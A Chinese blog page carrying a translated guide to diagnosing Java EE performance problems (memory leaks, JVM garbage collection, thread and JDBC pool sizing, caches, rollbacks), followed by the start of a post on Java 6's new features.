  Java EE(Java企业开发平台)应用程序,无论应用程序服务器如何部署,所面对的一系列问题大致相同。作为一个JAVAEE问题解决专家,我曾经面对过众多的环境同时也写了不少常见问题的观察报告。在这方面,我觉得我很象一个汽车修理工人:你告诉修理工人发动机有声音,他就会询问你一系列的问题,帮你回忆发动机运行的情形。从这些信息中,他寻找到可能引起问题的原因。

  众多解决问题的方法思路基本相同,第一天我同要解决问题的客户接触,接触的时候,我会寻找已经出现的问题以及造成的负面的影响。了解应用程序的体系结构和问题表现出的症状,这些工作很够很大程度上提高我解决问题的几率。在这一节,我分享我在这个领域遇过的常见问题和他们的症状。希望这篇文章能成为你JAVAEE的故障检测手册。

  内存溢出错误

  最常见的折磨着企业级应用程序的错误是让人恐惧的outofmemoryError(内存溢出错误)

  这个错误引起下面这些典型的症状:

  ----应用服务器崩溃 
  ----性能下降 
  ----一个看起来好像无法结束的死循环在重复不断的执行垃圾收集,它会导致程序停止运行,并且经常导致应用服务器崩溃
  不管症状是什么,如果你想让程序恢复正常运行,你一般都需要重新启动应用服务器。

  引发out-of-memory 错误的原因

  在你打算解决out-of-memory 错误之前,首先了解为什么会引发这个错误对你有很大的帮助。如果JVM里运行的程序, 它的内存堆和持久存储区域的都满了,这个时候程序还想创建对象实例的话,垃圾收集器就会启动,试图释放足够的内存来创建这个对象。这个时候如果垃圾收集器没有能力释放出足够的内存,它就会抛出OutOfMemoryError内存溢出错误。

  Out-of-memory错误一般是JAVA内存泄漏引起的。回忆上面所讨论的内容,内存泄漏的原因是一个对象虽然不被使用了,但是依然还有对象引用他。当一个对象不再被使用时,但是依然有一个或多个对象引用这个对象,因此垃圾收集器就不会释放它所占据的内存。这块内存就被占用了,堆中也就少了块可用的空间。在WEB REQUESTS中这种类型的的内存泄漏很典型,一两个内存对象的泄漏可能不会导致程序服务器的崩溃,但是10000或者20000个就可能会导致这个恶果。而且,大多数这些泄漏的对象并不是象DOUBLE或者INTEGER这样的简单对象,而可能是存在于堆中一系列相关的对象。例如,你可能在不经意间引用了一个Person对象,但是这个对象包含一个Profile对象,此对象还包含了许多拥有一系列数据的PerformanceReview对象。这样不只是丢失了那个Person对象所占据的100 bytes的内存,你丢失了这一系列相关对象所占据的内存空间,可能是高达500KB甚至更多。

  为了寻找这个问题的真正根源,你需要判断是内存泄漏还是以OutOfMemoryError形式出现的其他一些故障。我使用以下2种方法来判断:

  ----深入分析内存数据 
  ----观察堆的增长方式
  不同JVM(JAVA虚拟机)的调整程序的运作方式是不相同的,例如SUN和IBM的JVM,但都有相同的的地方。

  SUN JVM的内存管理方式

  SUN的JVM是类似人类家族,也就是在一个地方创建对象,在它长期占据空间之前给它多次死亡的机会。

  SUN JVM会划分为:

  1 年轻的一代(Young generation),包括EDEN和2个幸存者空间(出发地和目的地the From space and the To space) 
  2 老一代(Old generation) 
  3 永久的一代(Permanent generation)
图1 解释了SUN 堆的家族和空间的详细分类

对象在EDEN出生就是被创建,当EDEN满了的时候,垃圾收集器就把所有在EDEN中的对象扫描一次,把所有有效的对象拷贝到第一个幸存者空间,同时把无效的对象所占用的空间释放。当EDEN再次变满了的时候,就启动移动程序把EDEN中有效的对象拷贝到第二个幸存者空间,同时,也将第一个幸存者空间中的有效对象拷贝到第二个幸存者空间。如果填充到第二个生存者空间中的有效对象被第一个生存者空间或EDEN中的对象引用,那么这些对象就是长期存在的(也就是说,他们被拷贝到老一代)。若垃圾收集器依据这种小幅度的调整收集(minor collection)不能找出足够的空间,就是象这样的拷贝收集(copy collection),就运行大幅度的收集,就是让所有的东西停止(stop-the-world collection)。运行这个大幅度的调整收集时,垃圾收集器就停止所有在堆中运行的线程并执行清除动作(mark-and-sweep collection),把新一代空间释放空并准备重启程序。

  图2和图3展示的是了小幅度收集如何运行

图2。对象在EDEN被创建一直到这个空间变满。

图3。处理的顺序十分重要:垃圾收集器首先扫描EDEN和生存者空间,这就保证了占据空间的对象有足够的机会证明自己是有效的。
图4展示了一个小幅度调整是如何运行的

图4:当垃圾收集器释放所有的无效的对象并把有效的对象移动到一个更紧凑整齐的新空间,它将EDEN和生存者空间清空。

  以上就是SUN实现的垃圾收集器机制,你可以看出在老一代中的对象会被大幅度调整器收集清除。长生命周期的对象的清除花费的代价很高,因此如果你希望生命周期短的对象在占据空间前及时的死亡,就需要一个主垃圾收集器去回收他们的内存。

  上面所讲解的东西是为了更好的帮助我们识别出内存泄漏。当JAVA中的一个对象包含了一个并不想要的一个指向其他对象的引用的时候,内存就会泄漏,这个引用阻止了垃圾收集器去回收它所占据的内存。采用这种机制的SUN 虚拟机,对象不会被丢弃,而是利用自己特有的方法把他们从乐园和幸存者空间移动到老一代地区。因此,在一个基于多用户的WEB环境,如果许多请求造成了泄漏,你就会发现老一代的增长。

  图5显示了那些潜在可能造成泄漏的对象:主收集器收集后遗留下来占据空间的对象会越来越多。不是所有的占据空间的对象都造成内存泄漏,但是造成内存泄漏的对象最终都占据者空间。如果内存泄漏的确存在,这些造成泄漏的对象就会不断的占据空间,直至造成内存溢出。

  因此,我们需要去跟踪垃圾收集器在处理老一代中的运行:每次垃圾收集器大幅度收集运行时,有多少内存被释放?老一代内容是不是按一定的原理来增长?

 图5。阴影表示在经过大幅度的收集后幸存下来的对象,这些对象是潜在可能引发内存泄漏的对象

  一部分这些相关的信息是可以通过跟踪API得到,更详细的信息通过详细的垃圾收集器的日志也可以看到。和所有的跟踪技术一样,日值记录详细的程度影响着JVM的性能,你想得到的信息越详细,付出的代价也就越高。为了能够判断内存是否泄漏,我使用了能够显示辈分之间所有的不同的较权威的技术来显示他们的区别,并以此来得到结果。SUN 的日志报告提供的信息比这个详细的程度超过5%,我的很多客户都一直使用那些设置来保证他们管理和调整垃圾收集器。下面的这个设置能够给你提供足够的分析数据:

  ?verbose:gc ?xloggc:gc.log ?XX:+PrintGCDetails ?XX:+PrintGCTimeStamps

  明确发现在整个堆中存在有潜在可能泄漏内存的情况,用老一代增长的速率才比较有说服力。切记调查不能决定些什么:为了能够最终确定你内存泄漏,你需要离线在内存模拟器中运行你的应用程序。

IBM JVM内存管理模式

  IBM的JVM的机制有一点不同。它不是运行在一个巨大的继承HEAP中,它仅在一个单一的地区维护了所有的对象同时随着堆的增长来释放内存。这个堆是这样运行的:在一开始运行的时候,它会很小,随着对象实例不断的填充,在需要执行垃圾收集的地方清除掉无效的对象同时把所有有效的对象紧凑的放置到堆的底部。因此你可能猜测到了,如果想寻找可能发生的内存泄漏应该观察堆中所有的动作,堆的使用率是在提高?

  如何分析内存泄漏

  内存泄漏非常难确定,如果你能够确定是请求导致的,那你的工作就非常简单了。把你的程序放入到运行环境中,并在内存模拟器中运行,按下面的步骤来:

  1. 在内存模拟器中运行你的应用程序 
  2. 执行使用方案(制造请求)以便让程序在内存中装载请求所需要的所有的对象,这可以为以后详细的分析排除不必要的干扰 
  3. 在执行使用方案前对堆进行拍照以便捕获其中所有运行的对象。 
  4. 再次运行使用方案。 
  5. 再次拍照,来捕获使用方案运行之后堆中所有对象的状态。 
  6. 比较这2个快照,找出执行使用方案后本不应该出现在堆中的对象。
  这个时候,你需要去和开发者交流,告诉他你所碰到的棘手的请求,他们可以判断究竟是对象泄漏还是为了某个目的特地让对象保留下来的。如果执行完后并没有发现内存泄漏的情况,我一般会转到步骤4再进行多次类似的跟踪。比如,我可能会将我的请求反复运行17次,希望我的泄漏分析能够得到17个情况(或更多)。这个方法不一定总有用,但如果是因为请求引起的对象泄漏的话,就会有很大的帮助。

  如果你无法明确的判断泄漏是因为请求引发的,你有2个选择:

  1. 模拟每一个被怀疑的请求直至发现内存泄漏 
  2. 存配置一个内存性能跟踪工具
  第一个选项在小应用程序中是确实可用的或者你非常走运的解决了问题,但对大型应用程序不太有用。如果你有跟踪工具的话第二个选择是比较有用的。这些工具利用字节流工具跟踪对象的创建和销毁的数量,他们可以报告特定类中的对象的数量状态,例如把Collections类作为特定的请求。例如,一个跟踪工具可以跟踪/action/login.do请求,并在它完成后将其中的100个对象放入HASHMAP中。这个报告并不能告诉你造成泄漏的是代码还是某个对象,而是告诉你在内存模拟器中应该留意那些类型的请求。把程序服务器放到产品环境中并不会使他们变敏感,而是跟踪性能的工具可以使你的工作变的更简单化。

  虚假内存泄漏

  少数的一些问题看起来是内存泄漏实际上并非如此。

  我将这些情况称为假泄漏,表现在下面几种情况:

  1. 分析过早 
  2. Session泄漏 
  3. 异常的持久区域
  这章节对这些假泄漏都进行了调查,描述了如何去判断这些情况以及如何处理.

  不要过早分析

  为了在寻找内存泄漏的时候尽量减少出现判断错误的可能性,你应当在适当的时候分析堆。危险是:一些生命周期长的对象需要装载到堆中,因此在堆达到稳定状态且包含了核心对象之前具有很大的欺骗性。在分析堆之前,应该让应用程序达到稳定状态。

  为了判断是否过早的对堆进行分析,持续2个小时对跟踪到的分析快照进行分析,看堆的使用率是上升还是下降。如果是下降,保存这个时候的内存记录。如果是上升,这个时候就需要分析内存中的SESSION了。
发生泄漏的session

  WEB请求经常导致内存泄漏,在一个WEB请求中,对象会被限制存储在有限的几个区域。这些区域就是:

  1. 页面区域 
  2. 请求区域 
  3. 上下文区域 
  4. 应用程序区域 
  5. 静态变量 
  6. 长生命周期的变量,例如SERVLET
  当实现一些JSP(JAVASERVER页面)时,在页面上声明的变量在页面结束的时候就被释放,这些变量仅仅在这个单独的页面存在时存在。WEB服务器会向应用程序服务器传送一系列参数和属性,也就是在SERVLET和JSP之间传输HttpServletRequest中的对象。你的动态页面依靠HttpServletRequest在不同的组件之间传输信息,但当请求完成或者socket结束的时候,SERVLET控制器会释放所有在HttpServletRequest 中的对象。这些对象仅在他们的请求的生命周期内存在。

  HTTP是无状态的,这意味着客户向服务器发送一个请求,服务器回应这个请求,这个传递就完成了,就是会话结束了。我们应该感激WEB页面帮我们做的日志,这样我们就能向购物车放置东西,并去检查它,服务器能够定义一个跨越多请求的扩展对话。属性和参数被放在各自用户的HttpSession对象中,并通过它让程序的SERVLET和JSP交流。利用这种办法,页面存储你的信息并把他们添加到HttpSession中,因此你可以用购物车购买东西,并检查商品和使用信用卡付帐。作为一个无状态的协议,它总是客户端发起连接请求,服务器需要知道一个会话存在多长时间,到时候就应该释放这个用户的数据。超过这个会话的最长时间就是会话超时,他们在程序服务器中设置。除非明确的要求释放对象或者这个会话失效,否则在会话超时之前会话中的对象会一直存在。

  正如session是为每个用户管理对象一样,ServletContext为整个程序管理对象。ServletContext的有效范围是整个程序,因此你可以利用Servlet中的ServletContext或者JSP应用程序对象在所有的Servlet和JSP之间让在这个程序中的所有用户共享数据。ServletContext是最主要的存放程序配置信息和缓存程序数据的地方,例如JNDI的信息。

  如果数据不是存储这个四个地方(页面范围,请求范围,会话范围,程序范围)那就可能存储在下面的对象中:

  1. 静态变量 
  2. 长生命周期的类变量
  每个类的静态变量被JVM(JAVA虚拟机)所控制,他们存在与否和类是否已经被初始化无关。一个类的所有实例共用一个存储静态变量的地方,因此在任何一个实例中修改静态变量会影响这个类的其他实例。因此,如果一个程序在静态变量中存放了一个对象,如果这个变量生命周期没有到,那么这个对象就不会被JVM释放。这些静态对象是造成内存泄漏的主要原因。

  最后,对象能够被放到内部数据类型或者长生命周期类中的成员变量中,例如SERVLET。当一个SERVLET被创建并且被装载到内存,它在内存中仅有一个实例,采用多线程去访问这个SERVLET实例。如果在INIT()方法中装载配置信息,将他存储于类变量中,那么当需要维护的时候就可以随时读出这些信息,这样所有的对象就用相同的配置。我常碰到的一个问题就是利用SERVLET类变量去存储象页面缓存这样的信息。在他们自己内部本身存贮这些缓存配置是个不错的选择,但存贮在SERVLET中是最糟糕的情况。如果你需要使用缓存,你最好使用第三方控制插件,例如 TANGOSOL的COHERENCE。

  当在页面或者请求范围中利用变量存放对象的时候,在他们结束的时候这些对象会自动释放。同样,在SESSION中存放对象的时候,当程序明确说明此SESSION失效的或者会话执行超时的时候,这些对象才会自动被释放。

  很多看起来象内存泄漏的情况都是上面的那些会话中的泄漏。一个造成泄漏的会话并不是泄漏了内存而是类似于泄漏,它消耗了内存,但最终这些内存都会被释放的。如果程序服务器发生内存溢出,判断是内存泄漏还是内存缺乏的最好的方法就是:停止所有向这个服务器所发的请求的对象,等待会话超时,看内存时候会被释放出来。这虽然不会一定能够达到你要的目的,但是这是最好的分段处理方法,当你装载测试器的时候,你应该先挂断你内容巨大的会话而不是先去寻找内存泄漏。

  通常来说,如果你执行了一个很大的会话,你应该尽量去减少它所占用的内存空间,如果可以的话最好能重构程序,以减少session所占据的内存空间。下面2种方法可以降低大会话和内存的冲突:

  1. 增大堆的空间以支持你的大会话 
  2. 缩短会话的超时时间,让它能够快速的失效
  一个巨大的堆会导致垃圾回收花费更多的时间,因此这不是一个好解决方法,但总比发生OutofMemoryError强。增加足够的堆空间以使它能够存储所有应该保存的有效值,也意味着你必须有足够的内存去存储所有访问你站点的用户的有效会话。如果商业规则允许的话最好能缩短会话超时的时间,以减少堆占用空间的冲突。

总结下,你应该依据合理性和重要性按下面的步骤依次去执行:

  1. 重构程序,尽量减少拥有session范围的变量所存储的信息量 
  2. 鼓励你的客户在他们使用完后,明确的释放会话 
  3. 缩短超时的时间,以便于让你内存尽快的得到回收 
  4. 增加你堆空间的大小
  无论如何,不要让程序范围级的变量,静态变量,长生命周期的类存储对象,事实上,你需要在内存模拟器中去分析泄漏。

  异常的持久空间

  容易误解JVM为持久空间分配内存的目的。堆仅仅存储类的实例,但JVM在堆中创建类实例之前,它必须把字节流文件(.class文件)装载到程序内存中。它利用内存中的字节流在堆中创建类的实例。JVM利用程序的内存来装载字节流文件,这个内存空间称为持久空间。图6显示了持久空间和堆的关系:它存在于JVM程序中,并不是堆的一部分。

Figure 6. The relationship between the permanent space and the heap

  通常,你可能想让你的持久空间足够大以便于它能够装载你程序所有的类,因为很明显,从文件系统中读取类文件比从内存中装载代价高很多。JVM提供了一个参数让你不的程序不卸载已经装载到持久空间中的类文件:

  ?noclassgc

  这个参数选项告诉JVM不要跑到持久空间去执行垃圾收集释放其中已经装载的类文件。这个参数选项很聪明,但是会引起一个问题:当持久空间满了以后依然需要装载新文件的时候JVM会怎么处理呢?我观测到的资料说明:如果JVM检测到持久空间还需要内存,就会调用主垃圾收集程序。垃圾收集器清除堆,但它并不会对持久空间进行任何操作,因此它的努力是白费的。于是JVM就再重新检测持久空间,看它是否满,然后再次执行程序,一遍的一遍重复。
 我第一次碰到这种问题的时候,用户抱怨说程序性能很差劲,并且在运行了几次后就出现了问题,可能是内存溢出问题。在我调查了详细的关于堆和程序内存利用的收集器的记录后,我迅速发觉堆的状态非常正常,但程序确发生了内存溢出。这个用户维持了数千的JSP页面,在装载到内存前把他们都编译成了字节流文件放入持久空间。他的环境已经造成了持久空间溢出,但是在堆中由于用了 -noclassgc 选项,于是JVM并不去释放类文件来装载新的类文件。于是就导致了内存溢出错误,我把他的持久空间改为512M大小,并去掉了 -noclassgc 参数。

  正像图7显示的,当持久空间变满了的时候,就引发垃圾收集,清理了乐园和幸存者空间,但是并不释放持久空间中的一点内存。

Figure 7. Garbage collection behavior when the permanent space becomes full. Click on thumbnail to view full-sized image.

  注意

  当设置持久空间大小时候,一般考虑128M,除非你的程序有很多的类文件,这个时候,你就可以考虑使用256M大小。如果你想让他能够装载所有的类的时候,就会导致一个典型的结构错误。设置成512M就足够了,它仅仅是暂时的时间的花费。把持久空间设置成512M大小就象给一个脚痛的人吃止痛药,虽然暂时缓解了痛,但是脚还是没有好,依然需要医生把痛治疗好,否则只是把问题延迟了而已。

  线程池

  外界同WEB或程序服务器连接的主要方法就是向他们发送请求,这些请求被放置到程序的执行次序队列中。和内存最大的冲突就是程序服务器所设置的线程池的大小。线程池的大小就是程序可以同时处理的请求的数量。如果池太小,请求就需要在队列中等待程序处理,如果太大,CPU就需要花费太多的时间在这些众多的线程之间来回的切换。

  每个服务器都有一个SOCKET负责监听。程序把接受到的请求放到待执行队列中,然后将这个请求从队列移动到线程中被程序处理。

  图8显示了服务器的处理程序。

Figure 8. 服务器处理请求的次序结构
线程池太小

  每当我碰到有人抱怨装载速度的性能随着装载的数量的增加变的越来越糟糕的时候,我会首先检查线程池。特别是,我在看到下面这些信息的时候:

  1.线程池的使用 
  2.很多请求等待处理(在队列中等待处理)
  当一个线程池被待处理的请求装满的时候,响应的时间就变的极其糟糕,因为这些在队列中等待处理的请求会消耗很多的额外时间。这个时候,CPU的利用率会非常低,因为程序服务器没有时间去指挥CPU工作。这个时候,我会按一定幅度增加调节池的大小,并在未处理请求的数量减少前一直监视程序的吞吐量,你需要一个合理甚至更好的负载量者,一个精确的负载量测试工具可以准确的帮你测试出结果。当你观测吞吐量的时候,如果你发现吞吐量降低了,你就应该把池的大小下调一个幅度,一直到找到让它保持最大吞吐量的大小为止。

  图9显示了连接池太小的情况

Figure 9. 所有的线程都被占用了,请求就只能在队列中等待

  每当我阅读性能调整手册的时候,最让我头疼的就是他们从来不告诉你特殊情况下线程池应该是多大。由于这些值非常依赖程序的行为,他们只告诉你大普通情况下正确的大小,但是他们给了你一个范围内的值,这对用户很有利的。例如考虑下面2种情况::

  1. 一个程序从内存中读出一个字符串,把它传给JSP页面,让JSP页面去显示 
  2. 另一个程序从数据库中读出1000个数值,为这些不规则的数值求平均。第一个程序对请求的回应会很块,大概仅需要不足0.25秒的时间,且不怎么占据CPU。第二个程序可能需要3秒去回应,同时会占据CPU。因此,为第一个程序配置的池大小是100就有点太小了,因为程序能够同时处理200个;但为第二个程序配置的池是100,就有点太大了,因为CPU可能就能应付50个线程。
  但是,很多程序并没有在这种情况下动态的去调整的功能。多数情况下是做相同的事,但是应该为他们划分范围。因此,我建议你为一个CPU分配50到75个左右的线程。对一些程序来说,这个数量可能太少,对另一个些来说可能太多,我刚开始为每个CPU分配50到75个线程,然后根据吞吐量和CPU的性能,并做适当的调整。

  线程池太大

  除了线程池数量太小之外的情况外,环境也可能把线程数量配置的过大。当这些环境中的负载量不断增大的时候,CPU的使用率会持续无法降低,就没有什么响应请求的时间了,因为CPU只顾的在众多的线程之间来回的切换跳动,没时间让线程去做他们应该做的事了。

  连接池过大的最主要的迹象就是CPU的使用率一直很高。有些时候,垃圾收集也可能导致CPU使用率很高,但是垃圾收集导致的CPU使用率很高和池过大导致的使用率有一个主要的区别就是:垃圾收集引起的只是短时间的高使用率就象个钉子,而池过大导致的就是一直持续很高呈线性。

  这个情况发生的时候,请求会被放在队列中不被处理,但是不会始终如此,因为请求占用CPU的情况和程序占用的情况造成的后果不同。降低线程池的大小可能会让请求等待,但是让请求等待总比为了处理请求而让CPU忙不过来的好。让CPU保持持续的高使用率,同时性能不降低,新请求到来的时候放入到队列中,这是最理想的程序。考虑下面这个很类似的情况:很多高速公里有交通灯来保证车辆进入到拥挤的公里中。在我看来,这些交通灯根本没用,道理很充分。比如你来了,在交通灯后面的安全线上等待进入到高速公路上。如果所有的车辆都同时涌向公里,我们就动弹不得,但是只要减缓涌向高速公路车辆的速度,交通迟早会畅通。事实上,很多的大城市都有这样功能,但根本没用,他们真正需要的是一些更多的小路(CPU),涌向高速公路的速度真的降低了,那么交通会变的正常起来。

设置一个饱和的池,然后逐步减少连接池大小,一直到CPU占用率为75%到85%之间,同时用户负载正常。如果等待队列大小实在无法控制,考虑下面2中建议:

  1.把你的程序放入代码模拟器运行,调整程序代码 
  2.增加额外的硬件
  如果你的用户负载超过了环境能承受的范围,你应该考虑修正代码减少和CPU的冲突或者增加CPU。

  JDBC连接池

  很多JAVA EE 程序连接到一个后台数据源,大多数是通过JDBC(JAVA DATABASE CONNECTIVITY)将程序和后台连接起来。由于创建数据库连接的代价很高,程序服务器让在同一个程序服务器实例下的所有程序共享特定数量的一些连接。如果一个请求需要连接到数据库,但是数据库的连接池无法为这个请求创建一个新连接,这个时候请求就会停下来等待连接池完成自己的操作再给她分配一个连接。反过来,如果数据库连接池太大程序服务器就会浪费资源,并且程序有可能强迫数据库承受过量的负荷。我们调试的目的就是尽量减少请求的等待时间和饱和的资源之间之间的冲突,让一个请求在数据库外等待要比强迫数据库好的多。

  一个程序服务器如果设置连接的数量不合理就会有下面这些特征:

  1.程序运行速度缓慢 
  2.CPU使用率低 
  3.数据库连接池使用率非常高 
  4.线程等待数据库的连接 
  5.线程使用率很高 
  6.请求队列中有待处理的请求(潜在的) 
  7.数据库CPU使用率很低(因为没有足够的请求能够让他繁忙起来)
  JDBC prepared statements

  和JDBC相关的另一个重要的设置就是:为JDBC使用的statement 所预设的缓存的大小。当你的程序在数据库中运行SQL statement 的时候三下面3个步骤进行:

  1.准备 
  2.执行 
  3.返回数值
  在准备阶段,数据库驱动器让数据库完成队列中的执行计划。执行的时候,数据库执行语句并返回指向结果的引用。在返回的时候,程序重新描述这些结果并描述出这些被请求的信息。

  数据库驱动会这样优化程序:首先,你需要去准备一个statement ,这个statement 它会让数据库做好执行和缓存结果的准备。在此同时,数据库驱动会从缓存中装载已经准备好的statement ,而不用直接连接到数据库。

  如果prepared statement 设置太小,数据库驱动器会被迫去查询没有装载进缓存区的statement ,这就会增加额外的连接到数据库的时间。prepared statement 缓存区设置不恰当最主要的症状就是花费大量的时间去连接相同的statement。这段被浪费的时间本来是为了让它去装载后面的调用的。

  事情变的稍微复杂了点,缓存prepared statement 是每个statement的基础,就是说在一个statement连接之前都应当缓存起来。这个增加的复杂性就产生了一个冲突:如果你有100个prepared statement需要去缓存,但你的连接池中有50个数据库连接,这个时候你就需要有存放5000条预备语句的内存。

  通过跟踪性能,确定出你程序所执行的不重复的statement 的数量,并从这些statement 中找出哪些条是频繁执行的。

  Entity bean(实体BEAN)和stateful session bean的缓冲

  无状态(stateless)对象可以被放入到池中共享,但象Entity beans和 stateful session bean这样的有状态的对象就需要被缓存,因为这些bean的每个实例都是不相同的。当你需要一个有状态对象时,你需要明确创建这个对象的特定实例,普通的实例是不能满足的。类似的,你考虑一个超市类似的情况,你需要个售货员但他叫什么并不重要,任何售货员都可以满足你。也就是,售货员被放入池中共享,因为你只需要是售货员就可以,而不是一个叫做史缔夫的这个售货员。当你离开超市的时候,你需要带上你的孩子,不是其他人的孩子,而是你自己的。这个时候,孩子就需要被缓存。

Figure 10. The application requests an object from the cache that is in the cache, so a reference to that object is returned without making a network trip to the database
当你的缓存区太小的时候,缓存的性能就会明显的受到影响。特别是,当一个请求去一个已经满了的缓存区域去请求一个对象的时候,下面的步骤就会执行,这些步骤会在图11中显示:

  1. 程序请求一个对象 
  2. 缓存检测这个对象是否已经存在于缓存中 
  3. 缓存决定把一个对象开除出缓存(一般采用的算法是遗弃最近使用次数最少的对象) 
  4. 把这个对象扔出缓存(称为passivated) 
  5. 把从数据库中装载这个新对象并放入到缓存(称为activated) 
  6. 把指向这个对象的引用返回给程序

 Figure 11. Because the requested object is not in the cache, an object must be selected for removal from the cache and removed from it.

  如果多数的请求都需要执行这些步骤的话,那你采用缓存技术就不是好的选择了!如果这些处理步骤频繁发生的话,你就需要重新推敲下你的缓存了。回忆一下:从缓存中去除一个对象称为passivation,从持久存储区取出一个对象放入缓存称为activation。能在缓存中找到的请求(缓存中有此请求的对象)的百分率称为hit ratio,相反找不到的请求的百分率称为miss ratio。

  缓存刚被初始化的时候,hit ratio是0,它的activation数量非常高,因此在初始化后你需要去观察缓存的性能。初始化以后,你应该跟踪passivation的数量并把它和与向缓存请求对象的请求的总量相比较,因为passivations只会发生在缓存被初始化以后。但一般来说,我们更需要关心缓存的miss ratio。如果miss ratio超过25%,那么缓存可能是太小了。因此,如果missratio的数量超过75%,那么不是你的缓存设置的太小就是你不需要缓存这个技术。

  一旦你觉得你的缓存太小,就去尝试着增大大小,并测试增加的性能。如果miss ration下降到20%以下,那你的缓存的大小就非常棒了,如果没有什么效果,那么你就需要和这个程序的技术员联系,看是这个对象是不是需要缓存或者是否应该修正程序中这个对象的代码。

  Staless session bean和message-driven bean池

  Stateless session bean 和message-driven bean 在商业应用方面很重要,不要期望它们会保持自己特有的状态信息。当你的程序需要使用这些BEAN的商业功能的时候,它就从一个池中取出一个BEAN实例,用这个实例来调用一个个方法,用完后再将BEAN的实例再放回到池中。如果你的程序过了一会又需要这个一摸一样的BEAN,就从池中再得到一个实例,但不能保证你得到的就是上一个实例。池能够让程序共享资源,但是会让你的程序付出潜在的等待时间。如果你无法从池中得到想要的BEAN,请求就会等待,一直到这个BEAN被放入到池中。很多程序服务器都会把这些池调整的很好,但是我碰到过因为在环境中把他们设置的太小而引发的不少麻烦。Stateless bean池的大小应该和可执行线程池的大小一般大,因为一个线程同时只能使用一个对象,再多了就造成浪费的。因此,一些程序服务器把池的大小和线程的数量设置成同样的数量。为了保险起见,你应该亲自把它设置成这个数。
事务

  使用Enterprise Java的一个好处就是它天生就支持事务。通过JAVAEE 5 EJB(Enterprise javaBeans)的注释,你可以控制事务中方法的使用。事务会以下面2中方式结束:

  1. 事务提交 
  2. 事务回滚
  当一个事务被提交的时候,说明它已经完全成功了,但是当它回滚的时候,就说明发生了一些错误。回滚会是下面2种情况:

  1. 程序造成的回滚(程序回滚) 
  2. 非程序造成的回滚(非程序回滚)
  通常,程序回滚是因为商业的规定。比如一个WEB程序做一个素描画的价格的调查,程序可能让用户输入年龄,并且商业规定18岁以上才可以进入。如果一个16岁的提交了信息,那么程序就会抛出一个错误,打开一个网页告诉他,他年龄还不能参与到这个信息的调查。因为程序抛出了异常,因此包含在程序中的事务的就会发生回滚。这只是普通的程序回滚,只有当发生大量的程序回滚才值得我们注意。

  另一方面,非程序回滚是非常糟糕的。有三种情形的非程序回滚:

  1. 系统回滚 
  2. 超时回滚 
  3. 资源回滚
  系统回滚意味着程序服务器中的一些东西非常的糟糕,恢复的几率很渺茫。超时回滚就是当程序服务器中的程序处理请求时超时;除非你把超时设置的很短才会出现这种错误。资源回滚就是当一个程序服务器管理内部的资源的时候发生错误。例如,如果你设置你的程序服务器通过一个简单的SQL语句去测试数据库的连接,但数据库对于程序服务器来说是无法连接的,这个时候任何和这个资源相关的事情都会发生资源回滚。

  如果发生非程序回滚,我们应该立刻注意,这个是不小的问题,但是你也需要留意程序回滚发生的频率。很多时候人们对发生的异常很敏感,因此你需要哪些异常对你程序来说才是重要的。

  总结

  尽管各个程序和他们的环境都各不相同,但是有一些共同的问题困扰着他们。这篇文章的注意力并不是放在程序代码的问题上,因为把注意力放在因为环境的问题而导致的低性能的问题上:

  1.内存溢出 
  2.线程池大小 
  3.JDBC连接池大小 
  4.JDBC预先声明语句缓存大小 
  5.缓存大小 
  6.池大小 
  7.执行事务时候的回滚
  为了有效的诊断性能的问题,你应该了解什么问题会导致什么样的症状。如果主要是程序的代码导致的恶果那你应该带着问题去寻求负责代码的人寻求帮助,但是如果问题是由环境引起的,那么就要依靠你的操作来解决了。

  问题的根源依赖于很多要素,但是一些指示器可以增加一些你处理问题时候的一些信心,依靠他们可以完全排除一些其他的原因。我希望这个文章能对你排解JAVAEE环境问题起到帮助。
posted @ 2007-03-31 21:13 MEYE 阅读(2039) | 评论 (0)编辑 收藏
     摘要: Java怎样调用外部应用程序 [转贴]    ...  阅读全文
posted @ 2007-03-31 20:20 MEYE 阅读(3904) | 评论 (0)编辑 收藏

Java6印象:桌面应用胜出者

         Java beta已经发布了,虽然离正式的FCS还有一段时间,一个朋友还是急不可耐地下载了Java6进行试用,他认为Java6将会给Java桌面开发带来革命性的变化。

         最近发版的Java6(Mustang)beta是功能齐全足够稳定的版本,我下载并在第一周测试了这一版,我尤其被它的桌面功能所吸引,除了命名习惯改变了(2不再Java SE中出现),在许多新功能上都值得探索。改进总的来说分为两类:桌面开发和内核。

         桌面开发改进主要体现在用户界面(UI)效率以及本地操作系统桌面集成上。核心改进主要集中在增加开发效率和Java应用管理上。Sun的Mustang开发小组对Web服务和安全改进做了很多重要的努力。

         总的来说,不管你是应用开发者、系统管理员、工具提供商或者安全专家,Java6都为你提供你想要的。本文描述了一些我用过的有趣新功能。

内核功能和改进

         Java内核是Java的几个部分,包括语言和工具,这些是Java其他方面的基础,从用户界面API到服务类库。下面我细分小类描述Java内核以及Java6的改进。

开发效率

         新的Java编译器API允许在Java应用程序中编译Java代码。在编译的时候,应用程序能够访问格式化的类库依赖信息、警告信息、错误信息以及编译中产生的其他消息(该功能已经被netbeans6.0集成进去,实现新的Javac API,并籍此提高错误信息的提示)。尽管此项功能我不会经常用到,但是我已经发现它的新用处了。比如,用它为应用程序数据库迅速生成数据访问层。我写的代码生成并编译访问应用程序数据库的类,最终生成jar文件,这些jar文件产生、生成之后作为系统的一部分部署到Ant脚本中。在应用程序中生成并编译使得代码生成变得可以互动起来,我可以不断修改并反复生成这些类。

         为使用Java的脚本功能,Java6支持了JSR223,JSR223提供脚本语言访问Java内部的框架,你可以在运行时定位并启动脚本引擎来运行你指定的脚本。另外,Web脚本框架还允许脚本在任何Servlet容器内生成Web页面。

         对于调试来说,Java平台调试接口(JPDA)增强了检测死锁以及为被锁定监控对象产生堆栈跟踪的功能。此外,Java6添加了允许客户程序attach到一个正在运行的虚拟机进行诊断的功能。

应用程序管理

         Java6增强了内存泄漏分析和检测,在java.lang.OutOfMemory异常中包含了所有跟踪栈的信息,并能当堆栈溢出时时产生致命错误的日志。另外,增添了一个新的虚拟机选项允许你当堆栈溢出时调用某段脚本。

         JMX监控API的增强允许应用程序在MBean属性值(包括那些包含在复杂类型内的)超出临界值时发送事件消息。

